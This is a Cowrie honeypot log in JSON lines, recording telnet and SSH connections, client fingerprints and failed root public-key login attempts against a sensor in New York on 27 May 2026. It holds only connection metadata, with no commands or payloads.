{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:44.490407Z","src_ip":"87.251.79.125","session":"8d3d8fad46f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.13191747665405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:46.707825Z","src_ip":"135.148.14.151","session":"dcb5cfd2bee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41468,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e3891432bd","protocol":"telnet","message":"New connection: 135.148.14.151:41468 (159.203.135.109:23) [session: d5e3891432bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:48.276326Z"}
{"eventid":"cowrie.session.closed","duration":34.76464295387268,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:58.885046Z","src_ip":"135.148.14.151","session":"3ab5939363e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32433605194092,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:22.600473Z","src_ip":"135.148.14.151","session":"d5e3891432bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.61.155","src_port":8688,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7097fd8e834","protocol":"ssh","message":"New connection: 68.235.61.155:8688 (10.17.0.5:22) [session: d7097fd8e834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.066724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.071900Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.101978Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:32:97:ca:3a:f5:07:1d:ac:44:f7:a5:a1:76:cf:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJplqQJLw/0C4dvv50dSnB8GQlg11jkQhNIJtW9lVMWicJGu0Sd3tz11syDv+c4/1/AhyyTB9QfAww/qA8VmwYuRkuUByY0UHA9+ZbQDTTHWIPHFc7drZ0u+OovMbP50LBt2d13AnU5Qt3k+OoA0he/07/d7f8ejTmKQPUUUx2EJCmCw78cp1nSC4huzTd+TIpgtdE2VQcuae6cH2x1LZTRoQvQbCkX78oZiMwlMidvVbHVDOsa3FIEiA556Dwjg+I2PHW474/g2xuW7MEyLDpfpIxjw8ox1uWZivorWpFhFdyrHwkUB1KH9wnkW5sHhdPprpi103/ue964PHe3UESroYQp1j/sCO0+IlqgGSO0oDZbvbJbDQlee6JKc6jQ3bfKActitWw+P2+w3DLg7KFWehmzB155FUrI3zxWFL8NKxzg0wUJxzdNmBZRYihyiho9C24OMzOxwSDqZXd6KkwVsFaO7AT+Osu5/Wox1+s0qtMIj3aWLYp2Z1Yc6xNku0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:32:97:ca:3a:f5:07:1d:ac:44:f7:a5:a1:76:cf:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.232871Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:32:97:ca:3a:f5:07:1d:ac:44:f7:a5:a1:76:cf:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJplqQJLw/0C4dvv50dSnB8GQlg11jkQhNIJtW9lVMWicJGu0Sd3tz11syDv+c4/1/AhyyTB9QfAww/qA8VmwYuRkuUByY0UHA9+ZbQDTTHWIPHFc7drZ0u+OovMbP50LBt2d13AnU5Qt3k+OoA0he/07/d7f8ejTmKQPUUUx2EJCmCw78cp1nSC4huzTd+TIpgtdE2VQcuae6cH2x1LZTRoQvQbCkX78oZiMwlMidvVbHVDOsa3FIEiA556Dwjg+I2PHW474/g2xuW7MEyLDpfpIxjw8ox1uWZivorWpFhFdyrHwkUB1KH9wnkW5sHhdPprpi103/ue964PHe3UESroYQp1j/sCO0+IlqgGSO0oDZbvbJbDQlee6JKc6jQ3bfKActitWw+P2+w3DLg7KFWehmzB155FUrI3zxWFL8NKxzg0wUJxzdNmBZRYihyiho9C24OMzOxwSDqZXd6KkwVsFaO7AT+Osu5/Wox1+s0qtMIj3aWLYp2Z1Yc6xNku0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.239333Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:b6:e0:cc:41:06:5d:86:0c:00:21:81:90:ab:f7:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3i8MZE4kgFj2UUvHIKIfkBSkdSVNwcpMW0LqjhbgOPDAz33ohkqzZue5iCKZZ3VEywxXF/Oz7fJj/LO22MIQsKnB3VwxY+XjTKOH3wNTycFydC4ZTTCOPlfdx2/0FRf1SYIJ8bBFQBp1jcm4+n/VpO+PdHDICsd+NgVwLtW/bpg967Gv38ObFTVBfaeneZe7t1yA/Gh7xJb7NHWvuv3255uWpXi8g+TvYg7JORUlpbKnrjDY8tfiwz0u+bguEdaznuc8RLQVWu7ouTSe7eGwRbgfmkKWGD2YdAaFDbNcp/RyL/4P0C4YT1FmixwEUOoifz1dVttPGn3Nul6VhWQZl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:b6:e0:cc:41:06:5d:86:0c:00:21:81:90:ab:f7:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.271842Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:b6:e0:cc:41:06:5d:86:0c:00:21:81:90:ab:f7:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3i8MZE4kgFj2UUvHIKIfkBSkdSVNwcpMW0LqjhbgOPDAz33ohkqzZue5iCKZZ3VEywxXF/Oz7fJj/LO22MIQsKnB3VwxY+XjTKOH3wNTycFydC4ZTTCOPlfdx2/0FRf1SYIJ8bBFQBp1jcm4+n/VpO+PdHDICsd+NgVwLtW/bpg967Gv38ObFTVBfaeneZe7t1yA/Gh7xJb7NHWvuv3255uWpXi8g+TvYg7JORUlpbKnrjDY8tfiwz0u+bguEdaznuc8RLQVWu7ouTSe7eGwRbgfmkKWGD2YdAaFDbNcp/RyL/4P0C4YT1FmixwEUOoifz1dVttPGn3Nul6VhWQZl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.276050Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:a5:1c:22:e0:7d:4e:1e:63:65:f8:42:a1:1d:c8:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDkzcnudXub8tfH+Lsiu6fY83OqA81DQy5Lph26OSu3YRSu1XetFYYiv8c0iHJ4dfjosZZElkkbCmHN3hJ1TyB4tLVyRtxsPUxwFPHFgi0j8wGPSg0E4PuT2Ya3qfKhZ5WzFEkLPxsU4rPidkm0auSENTdkS2bJrX3Mtg/5msn8mcM6ze37pYCIUrKq751XVgNaaJBUt5JuC0TFgvHNcjUBafsTpOMJ2oDvQXgLR961d9+IZh0H1ys52UvhGPXP3FD/Os8Sr49pKlhpHji3fZwTJzqvoKluylKuu6pHJmTebYUBAtVMZLi035nZmgKlzksiQB1+tZexpPMwwVHFDLLmjHoZr9J5nI3Mi4Sij1c1kW6P3Wz293p1sQXGhUee9wxDbyQ7t/Qt+eIVZxiwpn8vjHQxnq9ZyBBtTmlxcD+rI2DYnQPuoRi9IXZPowcO6ETlRuA39FoPYb59C/tiQ3fVpxobA4MPW75o43t0VsvXgcI1/XqcC/cCctFsCVM3LZc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:a5:1c:22:e0:7d:4e:1e:63:65:f8:42:a1:1d:c8:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.307943Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:a5:1c:22:e0:7d:4e:1e:63:65:f8:42:a1:1d:c8:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDkzcnudXub8tfH+Lsiu6fY83OqA81DQy5Lph26OSu3YRSu1XetFYYiv8c0iHJ4dfjosZZElkkbCmHN3hJ1TyB4tLVyRtxsPUxwFPHFgi0j8wGPSg0E4PuT2Ya3qfKhZ5WzFEkLPxsU4rPidkm0auSENTdkS2bJrX3Mtg/5msn8mcM6ze37pYCIUrKq751XVgNaaJBUt5JuC0TFgvHNcjUBafsTpOMJ2oDvQXgLR961d9+IZh0H1ys52UvhGPXP3FD/Os8Sr49pKlhpHji3fZwTJzqvoKluylKuu6pHJmTebYUBAtVMZLi035nZmgKlzksiQB1+tZexpPMwwVHFDLLmjHoZr9J5nI3Mi4Sij1c1kW6P3Wz293p1sQXGhUee9wxDbyQ7t/Qt+eIVZxiwpn8vjHQxnq9ZyBBtTmlxcD+rI2DYnQPuoRi9IXZPowcO6ETlRuA39FoPYb59C/tiQ3fVpxobA4MPW75o43t0VsvXgcI1/XqcC/cCctFsCVM3LZc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.311699Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:af:23:36:cc:54:0e:d5:22:f2:0c:92:e9:59:f0:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC89elTqHBi1paqA/InNRR6MKx8GutihHhaPlXSgy+COMqwgBQmos9A/uWDcfmoF9BOFzPJtbE5p6dkEXkU1CST9M0nPuB4lNsQyeO83hWIstzxjEEu2pV+LKnyNsPNQMz+eYeQAFut7M4k2qpS0bp6RIVWsvuIDLpZFSDojsr8rPClh9qUEO8t/S6eeMJlwXNJbFJ5t/iDEylInLI7jPyBAepQLb/AaNQKBjw3kqA32THW6tD9Uz6j+RgW6REiKksEccaw5F1BTK1AY778QQ8wVtQXyzfgREi/d6XPvhRLXJR+kh/0/EACesFhlXtyLVa164oJS6Gmipu8sRh+Eqov","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:af:23:36:cc:54:0e:d5:22:f2:0c:92:e9:59:f0:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.343541Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:af:23:36:cc:54:0e:d5:22:f2:0c:92:e9:59:f0:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC89elTqHBi1paqA/InNRR6MKx8GutihHhaPlXSgy+COMqwgBQmos9A/uWDcfmoF9BOFzPJtbE5p6dkEXkU1CST9M0nPuB4lNsQyeO83hWIstzxjEEu2pV+LKnyNsPNQMz+eYeQAFut7M4k2qpS0bp6RIVWsvuIDLpZFSDojsr8rPClh9qUEO8t/S6eeMJlwXNJbFJ5t/iDEylInLI7jPyBAepQLb/AaNQKBjw3kqA32THW6tD9Uz6j+RgW6REiKksEccaw5F1BTK1AY778QQ8wVtQXyzfgREi/d6XPvhRLXJR+kh/0/EACesFhlXtyLVa164oJS6Gmipu8sRh+Eqov","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.347195Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:84:b2:58:36:bf:31:07:e5:eb:90:76:18:48:b2:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTdnRLuLb+TLS49YtU05TNMRAT59yUYqPneRP8Kmc2ee70LIdDhnWWCzi8LzhuEujoT9Ti/Czj0k/zHqcOqzwIcrTN1Wvxt6Y9dpqeyicASeqmUK1x57q/KE5Ws1t7CdVbIAdrgJniBGyTPjwTxQPFL5gUba4FI1S9gGiHJFN1K7twnHbRSijURez07oTU+xTg+jx/aTMpzQKogaEk4HXCVz8TCp1Sw1oKSHevDdBQy4xatKSVbWUTTCERlRuIDkKqo6z94KLkucNzk6m6nWD7LtvokiTODKDYTkaAwL3xNHGDzcW1GbDkgzeff936Ps1X7vtsCMwK62/TL5/Zyo3J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:84:b2:58:36:bf:31:07:e5:eb:90:76:18:48:b2:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.381019Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:84:b2:58:36:bf:31:07:e5:eb:90:76:18:48:b2:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTdnRLuLb+TLS49YtU05TNMRAT59yUYqPneRP8Kmc2ee70LIdDhnWWCzi8LzhuEujoT9Ti/Czj0k/zHqcOqzwIcrTN1Wvxt6Y9dpqeyicASeqmUK1x57q/KE5Ws1t7CdVbIAdrgJniBGyTPjwTxQPFL5gUba4FI1S9gGiHJFN1K7twnHbRSijURez07oTU+xTg+jx/aTMpzQKogaEk4HXCVz8TCp1Sw1oKSHevDdBQy4xatKSVbWUTTCERlRuIDkKqo6z94KLkucNzk6m6nWD7LtvokiTODKDYTkaAwL3xNHGDzcW1GbDkgzeff936Ps1X7vtsCMwK62/TL5/Zyo3J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.384839Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:31.416762Z","src_ip":"68.235.61.155","session":"d7097fd8e834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33790,"dst_ip":"159.203.135.109","dst_port":23,"session":"495b963e8351","protocol":"telnet","message":"New connection: 135.148.14.151:33790 (159.203.135.109:23) [session: 495b963e8351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:35.451583Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44130,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0baf58f846d","protocol":"telnet","message":"New connection: 135.148.14.151:44130 (159.203.135.109:23) [session: b0baf58f846d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:07:58.247863Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47198,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c29d33b5f4","protocol":"telnet","message":"New connection: 135.148.14.151:47198 (159.203.135.109:23) [session: a3c29d33b5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:05.278969Z"}
{"eventid":"cowrie.session.closed","duration":35.576852798461914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:11.028083Z","src_ip":"135.148.14.151","session":"495b963e8351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38600,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9a443f5f97c","protocol":"telnet","message":"New connection: 135.148.14.151:38600 (159.203.135.109:23) [session: d9a443f5f97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:18.648417Z"}
{"eventid":"cowrie.session.closed","duration":0.005278110504150391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:18.653562Z","src_ip":"135.148.14.151","session":"d9a443f5f97c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58358,"dst_ip":"159.203.135.109","dst_port":23,"session":"1af9e83f4f8b","protocol":"telnet","message":"New connection: 135.148.14.151:58358 (159.203.135.109:23) [session: 1af9e83f4f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:29.274142Z"}
{"eventid":"cowrie.session.closed","duration":34.66297769546509,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:32.910746Z","src_ip":"135.148.14.151","session":"b0baf58f846d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00271248817444,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:34.260857Z","src_ip":"179.102.17.221","session":"919f05ad17ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00456690788269,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:38.233906Z","src_ip":"179.102.17.221","session":"13a015f3eccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36302,"dst_ip":"159.203.135.109","dst_port":23,"session":"723b0f3bcdbd","protocol":"telnet","message":"New connection: 135.148.14.151:36302 (159.203.135.109:23) [session: 723b0f3bcdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:41.808325Z"}
{"eventid":"cowrie.session.closed","duration":37.16991448402405,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:42.448760Z","src_ip":"135.148.14.151","session":"a3c29d33b5f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":39623,"dst_ip":"159.203.135.109","dst_port":23,"session":"80ed9e35dbcc","protocol":"telnet","message":"New connection: 179.102.17.221:39623 (159.203.135.109:23) [session: 80ed9e35dbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:50.347899Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":39641,"dst_ip":"159.203.135.109","dst_port":23,"session":"d398ba32ebb9","protocol":"telnet","message":"New connection: 179.102.17.221:39641 (159.203.135.109:23) [session: d398ba32ebb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:50.520470Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44182,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c41f05b8ad","protocol":"telnet","message":"New connection: 135.148.14.151:44182 (159.203.135.109:23) [session: 30c41f05b8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:08:58.870499Z"}
{"eventid":"cowrie.session.closed","duration":35.20978045463562,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:04.483837Z","src_ip":"135.148.14.151","session":"1af9e83f4f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46346,"dst_ip":"159.203.135.109","dst_port":23,"session":"23f5c0089174","protocol":"telnet","message":"New connection: 135.148.14.151:46346 (159.203.135.109:23) [session: 23f5c0089174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:04.748632Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32862,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d89ca9a7960","protocol":"telnet","message":"New connection: 135.148.14.151:32862 (159.203.135.109:23) [session: 5d89ca9a7960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:06.311759Z"}
{"eventid":"cowrie.session.closed","duration":0.012531042098999023,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:06.324447Z","src_ip":"135.148.14.151","session":"5d89ca9a7960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.597249031066895,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:17.405414Z","src_ip":"135.148.14.151","session":"723b0f3bcdbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53994,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed42ecbac90e","protocol":"telnet","message":"New connection: 135.148.14.151:53994 (159.203.135.109:23) [session: ed42ecbac90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:20.387392Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54188,"dst_ip":"159.203.135.109","dst_port":23,"session":"6924bc27a2ff","protocol":"telnet","message":"New connection: 135.148.14.151:54188 (159.203.135.109:23) [session: 6924bc27a2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:20.771995Z"}
{"eventid":"cowrie.session.closed","duration":38.363242626190186,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:37.233624Z","src_ip":"135.148.14.151","session":"30c41f05b8ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33832,"dst_ip":"159.203.135.109","dst_port":23,"session":"57beb107c7cb","protocol":"telnet","message":"New connection: 135.148.14.151:33832 (159.203.135.109:23) [session: 57beb107c7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:37.928991Z"}
{"eventid":"cowrie.session.closed","duration":35.91879892349243,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:40.667402Z","src_ip":"135.148.14.151","session":"23f5c0089174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37364,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ea21a29f32","protocol":"telnet","message":"New connection: 135.148.14.151:37364 (159.203.135.109:23) [session: d4ea21a29f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:45.912489Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39204,"dst_ip":"159.203.135.109","dst_port":22,"session":"d63723e1e966","protocol":"ssh","message":"New connection: 37.233.85.71:39204 (159.203.135.109:22) [session: d63723e1e966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:50.980043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:50.986029Z","src_ip":"37.233.85.71","session":"d63723e1e966","protocol":"ssh"}
